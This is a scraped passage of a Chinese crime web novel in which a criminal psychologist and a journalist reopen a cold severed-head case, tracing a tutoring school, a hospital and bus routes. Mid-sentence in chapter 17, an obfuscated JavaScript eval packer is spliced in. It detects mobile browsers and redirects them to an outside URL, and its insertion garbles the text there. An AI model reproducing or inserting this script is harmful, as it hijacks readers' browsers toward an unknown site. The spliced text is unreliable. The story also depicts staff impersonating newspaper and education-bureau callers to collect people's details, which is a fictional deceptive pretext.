“哈哈,就是那天我师傅知道他们夫妻俩要去大栅栏逛街采买,特意带着我也在同一时间去了,就是为了给我上课的。”秦梓需解释道,“我说这个故事,是想说明人心隔肚皮这件事。人的思想,如流水,转瞬即逝。它可能屡次复现,促使你做出某种举动,也可能就此溜走,你再也想不起来。 “犯罪心理学,只能从宏观上去总结罪犯行为背后的心里成因,但不是万能的,不能说就是这世间真理,可以笼罩所有人。每个人内心深处最为幽微的想法,我们根本无法洞察,哪怕是身边最亲近的人,也不能,何况是我们这些隔了许多层的人。 “我师傅给我上的最重要一课就是,不要迷信犯罪心理学,一定要重视证据,在没有证据和亲口证词之前,一切都只能是推测,可以随时被推翻。 “在那之后,我就强迫自己不轻易下结论,我更像是一个摄影师,我会记录下我所接触到的人的所有影像,他们的微表情、动作,也许能在某种程度上反映当时他们的想法,但我会告诉我自己,我无法推测较长时间段之中此人的恒常想法,因为思想无形善变,只有行为举动可以观察。” 章弥真道:“我懂了,你的意思是,我对于马军心理的揣测,只是出于我自己经验的推想,并无任何实证价值?” 秦梓需点头:“对,你可以这么去想,但要放在一边,不要让这种揣测带跑了你的思想,如果因此去专门找证据来验证你的想法,那就是先射箭再画靶了。何况就目前我们查到的情况来说,马军到底是怎么想的,他和陈老师之间到底是否有龃龉,都不能说与案件直接相关,他毕竟在爆燃案中已经去世了,他无法去影响三年后发生的铁道抛颅案。” “确实。”章弥真若有所思。 秦梓需却话锋一转道:“但你对赵蕾来信去向的判断应当没有错,所有赵蕾寄给陈老师的信,应该都已经被毁了,只剩下这唯一一封幸存的。我会把这封信送去化验,提取指纹和生物检材,希望能有更多线索。 “此外,我觉得我们可能有必要去一趟云南,我推测,也许陈老师寄给对方的信仍有可能保存下来。” “可我们又不知道那个人是谁?” “没关系,去了之后,我们应该很快就能知道了。”秦梓需戴着手套,举起了那朵紫云英干花。 17.第十七章(投雷加更No.3) 二人的讨论结束,章弥真继续埋头忙她自己的工作。 秦梓需检查了一下陈老师的遗物,挑出了陈老师的备用眼镜、那本狄金森诗集以及信,往痕检实验室送去。 她刚到实验室门口,恰逢刘雪莹从里面出来,一打眼瞧见秦梓需,她道: “咦?秦老师,有事?” “你忙完了啊?” “对,刚忙完,但报告要出来得等明天了。”刘雪莹道。 “有什么新发现吗?” 刘雪莹道:“现在还很难说,毕竟那个包也有很多年了,其上留下的生物痕迹大多失效了,我能做的就是化学分析。我现在唯一能说的,就是当年检测到的硫化物再次被验证,这些硫化物遍布包的外表,尤其是底部比较密集,这个包显然曾被放在泥土和植被密集的地面上,尽管后来被用水冲过,植物痕迹被洗掉了,但硫化物还是残留了下来。 “此外,您说的锶同位素检测,下午也有好消息,刘总向部里申请了,部里说可以简化手续,就近安排做检测,那个国家级实验室就在东海市。刘总已经派人将检材加急送去东海市了,大概最快三周,能出成果。” “太好了!”秦梓需雀跃了一下,“那你说的硫化物,可以查出源头吗?” “以前可能不行,但现在可以做大数据比对。硫化物一般是小型冶炼厂排放出来的,现在合法工厂都已安装脱硫设备,当年取缔了相当多的无证黑作坊,环保部门应该都有记录,可以做一下交叉比对。如果花粉锁定范围内还存在这样的黑作坊,那就八/九不离十了。” 秦梓需心头一阵振奋,还是得靠现代科技啊!没有这些技术,这样疑难复杂的积案,哪里还能找到突破口? 正应了那句话:凡走过,必有痕迹。 “秦老师,您手里的这是什么?”刘雪莹见秦梓需带着手套,一直拿着一本本子和一个眼镜盒,不由得问道。 “这是……陈老师的遗物,我们下午刚刚从胥中找到的。得麻烦你查查看指纹和生物痕迹,尤其是这里面有一封信,很关键,寄信人很有可能就是抛颅案的受害人。” 刘雪莹神色一变,立刻接过来道:“交给我,我马上查。” “不好意思,还得让你加班。”秦梓需其实有些难开口,这毕竟六点多了,已经是下班时间了。 “您别客气,这案子我也特别想尽快看到结果呢。”说完她就又进了实验室,再次更衣,返回试验台。 秦梓需送完检材,回到办公室时,就看到章弥真面对着窗户做伸展运动。 “你干嘛呢?” “活动一下,免得犯困。”她头也不回地应道。 “你快回去吧,这会儿真的没事儿可干了,检验报告肯定得等到明天了。一切都得等报告出来后,才能下判断。”秦梓需拉开椅子坐下道。 “干啥赶我走啊?我还有事儿要和你商量一下。”章弥真回身看向她。 “什么?”秦梓需抬头等她下文。 “我打算发动一下我的人脉网,查查看当年补习机构都有哪些学生,我需要你把掌握的名单发我。” “这你都能查到?”秦梓需眼睛一亮。 “能!就是我需要一个合理的借口,我到现在还没想到合适的,你帮我想一下。”章弥真道。 秦梓需想了想,道:“你有对象吗?” “……没。”章弥真挑眉,然后立刻否决道,“不行,这个借口不行!” 秦梓需被她这么大的反应吓了一跳,她有些小心翼翼地道:“你知道,驱动人探听八卦的无非就那些东西,七大姑八大姨,最爱给小辈找对象、拉关系了,应该没有比这更合适的借口了。” “那这样,我就说是你秦老师想找对象,这样就没问题了。”章弥真忽而来了灵感,笑道。 “不行!”秦梓需连忙否决。 “为啥?你有对象了吗?看着不像啊……”章弥真满眼审视。 “我没对象,但我回来这件事,对我爸妈是保密的,我不想让他们知道。你要是传出去了,这七拐八绕的,岂不是让我爸妈知道了吗?”秦梓需道。 “干啥对爸妈保密呀?爸妈以后知道了岂不是很寒心?” “他们一直很反对我查当年的事,我考警校,是偷偷改志愿的,当年家里闹翻天了,爸妈甚至觉得我这辈子都被毁了……唉,这里面糟心的事太多了。”秦梓需现在回想起来还心有余悸。 “有这么夸张吗?”章弥真很不理解,“公安大学那也是顶尖大学啊,你现在的社会地位、待遇,各方面也没差到哪里去啊。” “她们俩……说好听点叫志存高远、望女成凤,说难听点,就是想脱离群众、成为新贵。”秦梓需道。 “妈耶,你这话严重了哦。哪有这样说爸妈的。”章弥真吓了一跳。 “我……唉,算了。”秦梓需只觉得千言万语堵在胸口,难以吐出,“我先把名单发你吧,在蓝信里。” 秦梓需低头操作手机,章弥真道: “那我就只能发挥特长了,没事,这部分我拿手,你等着吧,我估摸着很快能出结果。” 秦梓需将名单发过去后,踌躇着到底该不该继续询问章弥真为什么没对象,而且对此还很抗拒。但她感觉这个问题不礼貌,所以最后没问出口。 章弥真接收了名单,这名单只能在蓝信内部查看,她无法将其导出。 “得嘞,那我先回去了,咱们明天啥时候碰头?”她开始收拾自己的东西,看来她的紧急工作已经完成了。 “看群里消息,等检测报告出来,咱们再在这里碰头。”秦梓需道。 “行。” “我送你。” “不用,你要注意休息哦老秦,我走了。”章弥真背起自己的包,风风火火离开。 秦梓需站在窗口,目送楼下停车场上理想车的尾灯逐渐消失在远方,心中不由得有些感慨。今天这一天过得可太漫长了,以至于夜幕降临,让她有种过了一周即将迎来周末的错觉。 秦梓需坐回自己的位子,打开PAD,将自己手机里今天拍摄的证物照片同步到上面。她翻翻捡捡,最终定格在那张诗集、信件、花朵的合照之上。 她盯着那首名叫《请告知所有真相,但请曲折地说出》的诗看了一会儿,将照片画面分屏悬浮,然后打开了那个补习学校大堂的监控视频,盯着视频里红T恤牛仔裤的女子。 观察着她的一举一动,秦梓需陷入了沉思。 …… 章弥真驾车行驶在夜幕中的晚高峰街道上,一边顺着拥堵的车道缓慢前行,一边用蓝牙耳机打着电话。 “稿子我已经发给你了,你看一下,没问题就发。还有带货的样片,我看过了,可以润色的地方我发给大鹏了,让他尽快再剪一版出来,甲方那里已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044710|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经在催了。……好,姐你也辛苦了,我明早应该能先去一趟中心,有事儿明儿再谈。嗯,拜拜。” 终于挂了和吴岚的工作电话,她刚吁了口气,忽而又有来电进来,章弥真看着“妈妈”二字跃动在屏幕上,一时露出无奈的神色。 她还是接通了电话:“妈……” “咋了?声音听起来很累啊。” “嗯……最近工作比较忙。”章弥真道。 “你啊,注意身体,现在的年轻人感觉身体都还没我们老年人好呢。” 章弥真听母亲这话,嘴角抽抽,突然想起自己昨儿和今天都没去健身呢,一时又涌上了一丝无力感。 “前两天,妈妈给你发的那几位,你觉得如何?有没有相中的?”果不其然,母亲终于露出了“獠牙”。 “哎呀妈,我不是说了我很忙嘛,我哪有空去看那些。” “让你看几个人而已,看几个人的时间都没有啊?”母亲果然急了。 “我一个也没看中,要么是长得不符合我的审美,要么是个子太矮,要么是还没我赚钱多,歪瓜裂枣的。”章弥真锐评道。 “你挑什么,你都33了!” “妈,您再这样聊下去,我可要挂电话了啊。”章弥真半是撒娇,半是愠怒道。 “行,妈知道你们年轻女孩子现在讲究女性崛起,可再怎么崛起也得找对象吧,难道真的孤老一辈子啊?妈都快被你急死了,你说你这么好的条件,怎么就不肯结婚的呢?” “我是事业型女人,和我结婚的男人,必须甘于主持家务,而且还要长得符合我的审美。而且生不生孩子,什么时候生孩子,也是我说了算。我可以赚钱养家,让他躺平,我的要求就这些,达不到我就不结婚,半点我也不妥协。您再帮我物色物色?”章弥真似笑非笑地道。 “我的闺女啊,我当初就不该让你出国……”母亲果然再次痛心疾首起来。 “妈,我开车呢,不能分心,我挂电话了。最近很忙,周末我不回家吃饭了。”说着,章弥真就率先挂断了电话。 车内寂静下来,章弥真本来疲惫的身心变得越发烦躁起来。她想起了刚才和秦梓需之间的对话,要她用“找对象”的借口来打探消息,开什么玩笑,她真的会没命的! 她现在正是被催婚得最厉害的时期,每天除了烦工作,最烦的事就是家里催婚。她不想结婚,因为觉得自己根本不是个属于家庭的女人,和一个男人绑定在一起实在是束手束脚,难受至极。 她人生到如今谈过两个男朋友,都是因为受不了她的强势性格而分手的。脱离小女孩心性后,她也逐渐习惯了不追求情感体验,她的世界里已经没有爱情的一席之地,只剩下理性与狼性。 事业才是她毕生的追求,爱情无法刺激她的多巴胺,但工作能激发她的肾上腺素,她觉得后者简直比前者爽出几十倍。 她励志要当一个独行侠般的女人,路见不平拔刀相助。不过今天一天下来,她觉得老秦这人挺不错,和她搭档工作可太舒服了,就像蝙蝠侠和罗宾,福尔摩斯和华生,D大调与小提琴。 老秦也33了,她看上去也是个事业型女人,完全不会被男人牵绊的类型,这很对她的胃口。思及此,章弥真突然想起了秦梓需曾在烤肉店里不经意说出的一句话“我是真的爱她”。 恍惚间她好像明白了什么,心头缓缓蒙上一层氤氲的雾。 18、第十八章 章弥真以为自己今晚可能也会睡不着,可她躺上床后,翻来覆去想了一会儿案情,就突然被排山倒海的困意席卷,竟然昏睡了过去。 一夜乱梦,章弥真早间被闹钟吵醒时,只记得最靠近苏醒时的梦中桥段:她站在大坝上,大坝正在放水泄洪,水声震耳欲聋。远处的悬崖峭壁上,她好像看到了秦梓需,她正在和什么人打斗。 章弥真全程都很平静地观察着这一幕,没有一丝情绪波动,直至那悬崖上的二人从高处一起坠落,砸入下方的洪流之中。 她呆呆地坐在床上,思索这个梦的含义。总感觉这梦有种既视感,她应该是在哪儿见过。 刷牙时她灵光乍现,这不是福尔摩斯探案集里面的情节吗?福尔摩斯与莫利亚提教授在莱辛巴赫瀑布的悬崖边搏斗,双双落入水中。 怪了奇了,她怎么会把秦梓需联想到这种场景里,还有啊,秦梓需到底和谁在对决呢? 算了,反正梦都是光怪陆离的,章弥真也没太在意。 梳洗完毕,章弥真出家门,下到车库,坐在车里先查看了一下蓝信,秦梓需没有给她新的消息,于是她按照计划驱车前往数媒中心。 昨儿一天没来,工作室好歹是运行顺畅,就是临下班时出了点小状况,还是需要章弥真出手做事稳定局面。今早一到办公室,发现同事们也基本到齐了。 章弥真拿了自己的那份早饭,一边吃着,一边听同事们讲了讲昨天的工作。待到吃完,她道: “今天大家先紧着手头上没完成的事做,一会儿,我可能会给你们一些其他的活计,会耗费点额外的精力和时间,不过放心,这个月肯定会给大家加奖金。” 众人一时有些错愕,又有些期待起来。 他们今天看真老板来时,手里提着个大帆布包,里面鼓鼓囊囊的不知道装了什么,就觉得很新奇。 等章弥真返回工位,坐下来开始工作时,所有人都撺掇吴岚,让吴岚多注意观察真老板在干什么,然后在小群里通风报信。 章弥真没管手下人的鬼祟行为,她从帆布包里取出了三大本同学录,开始与昨天收到的补习机构名单核对起来。 她在昨晚睡前就把自己珍藏多年的同学录翻了出来,因为据公安调查,当年那所补习学校主要的生源都是附近高中的高三生,这所补习学校主要就是做高三冲刺辅导的。 由于公安查过的名单已经是被排除嫌疑的名单,章弥真认为线索要从这份名单之外去找。她感觉警方有可能并没有真正找准目标人群,因为这份名单是只反应当时还在补习班上课的学生。 案发时,已经是8月底,高考早已结束,上一届的高三生除了复读的,已经不会再在补习学校上课了。当时在补习学校里上课的人,应该都是下一届高三生。 可根据当时的监控录像,被害人在大堂等学生下课,一直等到学生都走光了,她也跟着走了。这个举动在章弥真看来,很像是在寻找她要找的人却没找到。会不会被害人要找的是上一届高三生,而不是这份名单中的人? 计算一下时间,05年毕业的高三生,其实不就是和自己还有老秦同届的学生嘛。 胥中附近的高中有六中、二十四中和胥城高级中学,当年她们这届从胥中毕业的初中生中,绝大部分都就近读了这三所高中,只有个别的尖子生去了顶尖高中——比如秦梓需去了最好的一中,一中在城南,就离得比较远了。 而像自己这样直接去了开发新区上私立外国语实验中学的,就更是少之又少。 当年的章弥真可是人缘极好、炙手可热的人物,临近毕业时,不只是同班同学,连隔壁班的同学都来给她留同学录,以至于她记了整整三大本的同学录。现在反倒成了第一手的资料了,而且她还在同学录里夹了当年的毕业照片。 照片里的同学她都能喊得上名字,她大概每年也会翻开来看看,所以她能第一时间认出秦梓需。 章弥真之所以这样死盯着学生的情况,是因为补习学校老师的情况相对稳定,流动并不频繁,警方查得比较细。补习学校一共9个老师,分别带九门学科,包括管理层、行政、后勤的,甚至打扫卫生的保洁员,这些工作人员的身家背景早就被查得一清二楚,当时的行踪轨迹也明明白白,已经是不会有任何漏洞的地步,所以也不必再查。 她全神贯注做事,不知道此时的吴岚瞄了一眼她的工位,在小群里发道:【看同学录呢。】 【同学录是啥?】孙影第一个真诚发问。 【天,你连同学录都不知道吗?你们那会儿难道都不写这个了?】刘为朗惊讶回道。 【就是毕业前,给同学写留言,2000年初那会儿特别流行。】吴岚解释道。 孙影发了个晕倒的表情,她确实不大清楚什么同学录,她初高中时,□□已经相当普及,人人网也大热,没有必要写这种东西。 【总感觉真老板要搞个大新闻。】大鹏发道。 【别瞎说,就咱老板那求真务实的做事态度,不是那种胡吹胡侃的主。】朱瑛道。 突然章弥真的手机响了,吓了吴岚一跳,也吓了外间大办公室所有人一跳。大家都竖起耳朵想听点内容,奈何章弥真带起了耳机,直接提溜着手机出了办公室,去了外面打电话。 来电是蓝信里的视屏会议通话邀请,章弥真知道是秦梓需的消息来了,赶紧离开,找了楼道里僻静的角落,接通了通话。 秦梓需、李之枚和刘雪莹三人的图像平均分割了画面的四个区域,秦梓需应该在市局办公室里,刘雪莹和李之枚的背景看上去像是实验室。秦梓需神色一如往常,但刘雪莹、李之枚面上明显有疲态,李之枚的脸上还有口罩的压痕。 “嘿,怎么样啊,看你们的样子好像……不大好呀。”章弥真打招呼道。 李之枚露出一脸苦笑道:“在法医实验室加班了,一晚上没睡,所以看上去不大好,不过放心,检验结果3天内应该能出来。” 刘雪莹也解释道:“我这里也差不多了,就等报告了,最快今天,最迟明天能出来。” 秦梓需接着道:“打这个视频就是跟你汇报一下进度,今天你可以不必跑市局了,咱们这里暂时没什么事可做。你那里有没有什么需要我们查的事?或者你查到了什么?” “我正准备查名单呢,没那么快出结果,诶,你有没有事做?没事做你过来帮我呀。”章弥真道。 “我上午来不了,我得去跑一下那家补习学校,大概下午能来,你给我个地址。”秦梓需道。 “好。” “那我们俩先下啦。”知道章弥真这里没什么新进展,刘雪莹、李之枚先下线了,她们还要继续返回实验室工作。 秦梓需与章弥真的二人视讯仍然继续: “那家补习学校居然还在吗?”章弥真一边给秦梓需发地址,一边有些惊讶地问道。 “楼还在,就是补习学校被更大的补习机构并购了,换招牌了,重新装修过,人员也都换了。”秦梓需道。 “那你去查什么呢?”章弥真疑惑。 秦梓需一时语塞,她想了一会儿,道:“我说了你可能不大懂,我需要一种临场感。有些问题我没彻底想明白,所以我想实地走走。” “哦,懂,你们搞犯罪心理的就是神神叨叨的,我在美剧里见过。”章弥真吐槽道。 秦梓需苦笑,她果然还是误解了。 “老秦,昨晚我有些想法,你帮我参考一下,看我这个思路对不对。”说着就把自己关于补习学校名单的推想都说了一遍。 秦梓需听得很认真,末了道:“你这个思路是对的,我和你想到一块儿去了。我昨晚一直在反复看那段补习学校的监控视频,我发现被害人有三次起身,去到了传达室旁的宣传栏边,一直在反复看着什么。 “我感觉那好像是某种名单,或者是宣传资料,因为角度问题我看不清宣传栏上都贴了什么,好像有不少照片来着。她可能在上面找什么人。在她等到学生下课出来都走光后,她又去快速确认了一遍,然后离去。我认为她确实是在找某个学生,但没找到,然后离开了。” 秦梓需的肯定给了章弥真信心,她道:“那好,我就按这个思路查下去。我忙去了,咱们下午见。” “嗯,拜拜。” 二人结束通话,章弥真脚步飞快地赶回办公室。大家都探头探脑地看她,就见她又忙活起来,拿着同学录对照着微信和一份表格文档,在同学录上写写画画。忙了好一会儿,她点开自己的微信,在列表里翻找选中了一个人,然后给对方发了一条微信消息过去。 发完后,她对吴岚道:“姐,你认不认识和我年纪一样大的后辈,也是本地的,是六中、二十四中或者胥高毕业的。” 吴岚突然被cue,愣了好一会儿,才想到了一个人:“还真有呢,我印象中我老公大姐家的女儿,确实是胥高毕业的。但我记不清是不是和你一样大。怎么了?” “你帮我问问,确认一下是不是05年毕业的高三生,有没有在鸿鹄教育上过补习班?”说着她又起身到门口,对外面的几个人重复了一遍自己的要求,“你们也都帮我找找符合条件的人。” 众人都懵了,不知道真老板这是要干什么。 孙影弱弱举手:“真老板,这个我真的无能为力,我年纪小,家里也没有哥哥姐姐,我只能问问我爸妈,但估计戏不大。” 刘为朗也无奈道:“我也没办法,真老板,你知道我是外地人,我一个人来胥城工作的。” 朱瑛举手道:“我之前和一个企业老板闲聊时,对方好像提过他儿子是六中毕业的,可能确实也是三十多岁,我来问问。” 大鹏道:“我来问问我哥吧,他可能认识。” 章弥真道:“好,你们立刻联系,小影、阿朗你们过来给我打下手。” 二人被她叫进办公室,章弥真把拿出那三本同学录,交给两人道: “你们负责联系上面的人,这些人最新的联系号码我都用红笔在上面更新标注好了。我教你们话术,你们就说是东海日报工作人员,受市教育局委托,想对市民做一个问卷调查,以改进教育资源分配。 “然后编一个问卷,您是几几年高中毕业的?您高中在读期间是否上过补习班?您上的补习班是哪家机构?您觉得补习班对您成绩的提升作用大吗?您觉得付出的成本值得吗?就这么几个问题,先打电话,对方要是不接电话,就发短信,尽量得到反馈。” “真老板……这不违法吗?”小影看上去吓坏了。 “不违法,有事儿我担着,赶紧的。”章弥真催促道。 “真的不会被当成诈骗吗?”刘为朗有些抗拒。 “打不通或者被挂了,就隔段时间换号码打,尽量要获得对方反馈。实在打不通也没关系,别有压力。”章弥真安抚道。 刘为朗挠头,他不大擅长客服业务,不过真老板赶鸭子上架,他也只能硬着头皮上了。 二人坐下来,用东海日报数媒中心的座机开始打电话。好心的吴岚也放下手头的事去给这俩人帮忙。 章弥真回身查看消息,她刚发出去的那个微信消息,已经有了反馈。 章弥真:【柳大嘴,你不是号称“百晓生”吗?考考你啊,你知道你高中时,班里有多少人在鸿鹄教育补课的吗?】 【干啥,难不成你这大记者又要搞事情?】 【对,你要是能搞来,我给你报酬。】 柳鸣:【嘿,那你问对人了,你等着,我一会儿抽出手来给你整个名单。】 章弥真露出了笑容。【你现在阅读的是 】 19、第十九章 秦梓需开着一辆低调的黑色途观公务车,停在了当年鸿鹄教育所在的大楼前。 这栋楼现在换上了新的招牌外立面——绿色的“树人教育”字样有些扎眼,当年鸿鹄教育那个标志性的黄底飞鸟logo已经看不到了。 秦梓需停好车,下车后步入了大楼。大楼入口的门已经改装成感应门,无需手动推拉。 这幢大楼门口没有保安室了,被快递柜和外卖柜取代,电梯间和楼梯间被电子闸机拦在内部,必须刷卡过闸机才能进去乘坐。闸机口坐着一位保安,对方正低头拿着手机打游戏,根本没注意秦梓需进来。 门口墙上挂着楼层分布图,上面列着这栋商务楼里所有的单位名称。 秦梓需粗略浏览了一下,发现树人教育占据了这栋楼的2—6层,这栋楼总共15层,上面的楼层散布着一些小型公司。 她拿出手机,将楼层分布图拍了下来。 秦梓需站在快递柜前,调出当年鸿鹄教育大堂的取景照片。这个快递柜所在的位置,当年就是告示栏所在的位置。 秦梓需默然抬头注视着快递柜,片刻后,她转身离开了这幢大楼。 【我没能找到我想找的人,我很失落很迷茫,现在我该去哪儿?】 站在大楼门口,她向左手侧望去,那里通往市中心最繁华的地带,密集大商场、写字楼和繁华街。她又向右手侧望去,那里通往大片的居民区,是胥城最普通寻常的市井地带,交错纵横的小街道如毛细血管一般分布下去,通向诸多小区、市场、棋牌社和小广场。 沿着道路走不了多久就会抵达胥江畔的人行步道,那里有迷人的江景,是散心的好去处。 【我应当会往胥江边上去,我需要一个安静的去处,整理思路。】 秦梓需转身向右,开始步行。周边的街道景象,分毫不差地被记录入她的眼球之中。 明显新开的连锁店被排除在外,但一些看上去开了很久的老店会被她特别留意。有一家开了二十年的包子铺,都九点多了,门前还排着长队。 【我很心烦,我寻不到想找的人,又渴又累,但不大能感到饥饿。我身上没有多少积蓄,吃不起洋快餐,可能会买馒头、包子垫两口,喝点矿泉水。】 秦梓需来到了一处岔路口,一时踌躇,不知该往哪里去。她取出手机查看地图,胥江边还需要向前走过两个街口右拐。 岔路向左则是往胥城中学的方向去。 秦梓需回忆卷宗记录,警方在得知被害人出现于鸿鹄教育后,排查过这附近绝大部分的旅馆,均未得到任何被害人入住的记录。 这意味着两种可能性,一、被害人可能是当天到的,随后就离去,未在胥城留宿。二、被害人压根就没有住宿旅馆的打算,她选择在其他的地方将就过夜。 不论是哪一种,都意味着她在胥城并未停留太长时间就遇害了。 【我要找的人已从胥中毕业,那里没有再去的必要。我决定还是往江边去,我热得慌,江风吹着能舒服些。也许我能找到一把长椅,躺下来眯一会儿。】 她继续迈步往前走,一直走过两个街口,终于右拐,一家医院进入视野——胥城市中心医院。这是一家三甲大医院,就坐落在胥江畔,走过这家医院,再往前行200米,就抵达滨江道了。 医院……秦梓需站在路口,望着市中心医院的红十字图标,陷入沉思。 【我也许感到不适,但应该没钱去看病,我会路过此处,继续往江边走。】 她缓步向前,路过医院门口卖鲜花的小摊,路过几家药店和小餐馆,街边的景象在她眼里逐渐变得虚化。秦梓需感觉自己的脚步迈不动了,她知道自己若再继续走到江边,一切都会结束,她将什么也推理不出来。 不对,有些细节我忽略了。她驻足思索。 2000年初,江边步道其实还未彻底开发出来,那会儿城市污染严重,胥江内爆发过蓝藻,水质很不好,散发着臭气。后来是经过大力整治,才恢复了清澈。沿江步道也是近十年开发出来的,成为了跑步圣地。 她又转身往回走,再次站在了医院门口。如果此前的推理没有错,被害人应该是来到过市中心医院的门口。 她在这里到底会怎么想?是否会改变主意,不去江边,而到医院里找个位置将就一夜,至少还能有空调吹,不会被蚊子咬。 秦梓需走了进去,门诊夜里是关门的,彻夜开门的是急症部大楼。站在急诊部大楼门口,她先就手拍了一张照。这楼并不高,也就三层,但占地面积不小。 她走进了急诊部大楼,观察了一下这里的构造。一楼接收120急救患者,有各种抢救室、检查室。二楼是急症病房和重症监护室,上去后就会直面导诊台和护士站。如若不是病人或看护家属,显然上去后若长时间滞留必然会引起护士注意,带来不必要的麻烦。 一楼靠近药房的地方设置有几排座位,是给病患和陪护者休息用的。 大堂四角安装有监控探头,秦梓需知道2000年初,医院也已经有探头了。但现在不可能还保留有当年的数据,当年的警方似乎并未查到市中心医院来,画像张贴后,医院内也没有人报过目击证词。 如果她真的在这里过了夜,应该不会没人在意吧。难道是我想错了? 她找了一个看上去年纪比较大的护士,询问道: “请问,这急诊部允不允许外来的人在这里过夜?类似于流浪乞讨人员。” 老护士很诧异地看她,秦梓需忙亮出警官证道:“我想查些事情,麻烦您了。” “哦,按理说,我们是不允许流浪乞讨在这里过夜的。但架不住忙的时候顾不上去管,偶尔还是会有一些外来的人在这里的椅子上过夜,不上前问,也弄不清楚他到底是来看病的还是来陪护的。人不多的时候,我们也就睁一只眼,闭一只眼了,就当行个方便。”老护士倒是答得很实在。 秦梓需将被害人的画像从手机相册里调出来,亮给对方看:“这个画像您有印象吗?05年的时候,曾经张贴得满城都是,是一个失踪人员。” 老护士眯着眼仔细盯着看了半晌,道:“好像是见过这么个画像来着,但这也太久了,记不清了。” “您对这个人有没有印象呢?” 老护士笑了:“我连这画像有没有见过都记不清了,更别说真人了。” “好吧,谢谢您的配合。”秦梓需无奈收回了手机。 老护士抱歉一笑,转身去忙了。 秦梓需又在大堂里转了一会儿,想来就算被害人来过这里,在无目击证人和监控记录的情况下,确实是无法被证实了。而且这么长时间过去了,她留在这里的生物痕迹,也必然全都消失了。 秦梓需并未气馁,她在备忘录里记了一条:被害人可能来过市中心医院,未留下目击记录。 顺着这条思路想下去,假设被害人确然在医院里过夜,第二天一大早就出去了,她接下来会去哪儿?秦梓需认为最迟第二天,她就将遭遇凶手并遇害。 思路在此卡住了,秦梓需只能再往下列出疑点:凶手在何处接触到被害人? 这个问题可以再往上追溯:凶手是通过何种途径盯上了被害人,对她产生杀心?(若被害人当真是赵蕾,联系到陈老师丢失的与赵蕾之间的来往书信,凶手可能通过陈老师含有被害人照片的书信认出被害人。) 如若排除在大街上偶然遭遇被盯上这种概率极小的情况,大致可以分为三种: 一、凶手可能在鸿鹄教育门口就认出了被害人,跟踪了上去。二、凶手可能在被害人休息的地方(医院)认出了被害人,主动与其搭讪。三、凶手可能在更早的时候就在某种尚未知晓的场合盯上了被害人,并一直对她进行跟踪,酝酿杀人计划,寻找下手时机。 秦梓需认为,如果被害人当真在医院过夜,那么第二日她离开医院后,应该不久就遇害了。监控录像是8月28日的下午拍到了被害人出现在鸿鹄教育的大堂,头颅是31日早上7点发现的。凶手能够杀死被害人,处理尸体的时间只有29日、30日这两日。 凶手如果不是早有预谋,做了周密计划,决计不能在这么短的时间里,了无痕迹地处理掉一个大活人。即便如此,2天时间也很紧张了。所以,不论如何,被害人遇害的时间不会晚于29日,应该最有可能死于28日晚或29日早些时候。 确定以上推论后,再来讨论列举出的三种情况。 这三种情况,分别代表着凶手不同的心态、不同的身份背景。在不讨论极小概率事件的前提下,凶手会在补习机构门口盯上被害人,意味着凶手时常出入补习机构。 医院同理,至少他会经常出入医院。这一点很关键,因为被害人是被乙/醚迷晕的,这种管制药物只有医药背景的人比较容易能得手。只是从凶手砍下头颅那粗暴笨拙的手法来看,此人应当不曾经历过外科手术训练,但具备一定的医药学知识。 而第三种情况则更为恐怖,若他很早就意识到有被害人这么一个人的存在,那么就意味着他早就在筹谋灭口杀人的计划。用心之险恶,细思骇然。 不论是哪一种情况,联系到凶手很可能没有运尸的交通工具,都意味着他不可能遇到被害人后,直接对被害人动手。他一定是用某种理由把被害人骗走了,骗到第一案发地点才下了手。 出租车可以排除,暴露的可能性太大了。凶手的策略一直是混入人群,减小自己被目击和记忆的概率。那么,他们很可能是搭乘公共交通一起离开的。 秦梓需出了医院,便看到了医院门口的公交站台。她突然意识到自己刚才迈不动步子的原因在哪里了:她忽略了公交站台。 秦梓需走过去查看站牌信息,她从鸿鹄教育那栋大楼走到这里来的这段路,恰好是这站牌上几乎所有公交线路都会走的一段路。 但她不能确定这些线路05年时是否也是这样走的,这么多年过去了,线路拆除或新设,都很正常。她需要去公交集团查证一下。 于是她给站牌拍了个照。拍照时,她的眸光定格在8路车的线路标示图上,印象中这路车是胥城最老的几条线路之一,一直以来都忠实地运营在同一条线路上。 这附近城市道路的变化并不大,想来,15年前8路车应该也是走的这条线。8路车以车次频繁出名,如果被害人在这里上车,那么单纯从概率学的角度考虑,上8路车的可能性最大。 秦梓需直接去看8路车终点站:天平山国家森林公园。 她眸光定格在这个名字上,感觉到针刺般的寒意爬上脊背。【你现在阅读的是 】 20、第二十章 秦梓需此后又跑了一趟公交集团,查阅了一下05年时路过鸿鹄教育大楼和市中心医院的线路,经过一番详细的比对后,锁定在两条线路上,一个就是8路车,一个则是19路车。 这两路车都是向城西驶去,不过8路车是一条观光线路,会路过胥城绝大部分的驰名景点,终点站天平山是胥城城西的一处丘陵山脉,也是处于大平原地带的胥城为数不多的高地。19路车的终点站正好是胥城西站,这直接和抛颅案最重要的要素——火车联系上了。该线路于2013年拆除,现在已经转移到别处去了。 秦梓需记下这两条线路,现在就等花粉检测结果了,一旦交叉比对能与其中某一个比对上,那么她们就能找到凶杀第一现场,很可能埋尸的地点就在案发现场附近,前提是凶手埋尸后从未转移过尸体。 希望虽渺茫,好歹有了方向。 秦梓需的心情越发明亮,中午找了家中式快餐店随便对付了两口饭,她便驱车往东海日报数媒中心去。半途路过恒顺大楼附近,她故意放慢速度,在恒顺附近的大街小巷转了转,心中到底还是挂念跳桥女子的那个案子,想来这也有两天了,不知道案子调查进展如何。 虽然不关她的事,她还是预先侦查了一下,想着今晚有空打个电话问问情况,不行的话再给派出所一些建议。 转完后,她心里有了底,便径直抵达数媒中心楼下的室外停车场。时间是下午一点半。她没贸贸然上去,而是先坐在车里,给章弥真发了个消息。 章弥真回得很快:【我马上下来。】 秦梓需等了3分钟,就见章弥真从大楼出来,四处张望,寻觅秦梓需的踪影。 秦梓需下车,向她招了招手,跑了过去。章弥真望着她,笑道: 